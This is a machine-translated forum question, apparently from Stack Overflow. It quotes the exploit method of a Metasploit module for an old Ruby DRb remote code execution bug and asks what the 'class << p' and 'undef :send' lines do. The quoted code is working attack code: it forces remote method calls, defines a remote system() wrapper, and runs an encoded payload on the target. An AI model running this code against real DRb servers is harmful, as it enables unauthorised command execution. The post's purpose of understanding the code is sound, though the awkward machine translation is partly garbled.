我一直在使用Metasploit的,它使用的方法看着一个老臭虫的DRb:理解的Ruby语法“类<<变量”
def exploit
serveruri = datastore['URI']
DRb.start_service
p = DRbObject.new_with_uri(serveruri)
class << p
undef :send
end
p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
pid = p.send(:syscall, 20)
p.send(:syscall, 37, pid, 23)
rescue Errno::EBADF
# 64 bit system
pid = p.send(:syscall, 39)
p.send(:syscall, 62, pid, 23)
end
p.send(:my_eval, payload.encoded)
end
我不是一个程序员红宝石,但我有一个除少数几行外,还有一些普遍的意义。
任何人都可以解释第5-9行发生了什么? (开始于“<类< ...”)
@ tom-lord我投票重新提出这个问题,因为它不仅关于'class << ...'成语,而且还关于第9行如何使用它('p。之后发送'调用'以前未定义)。 –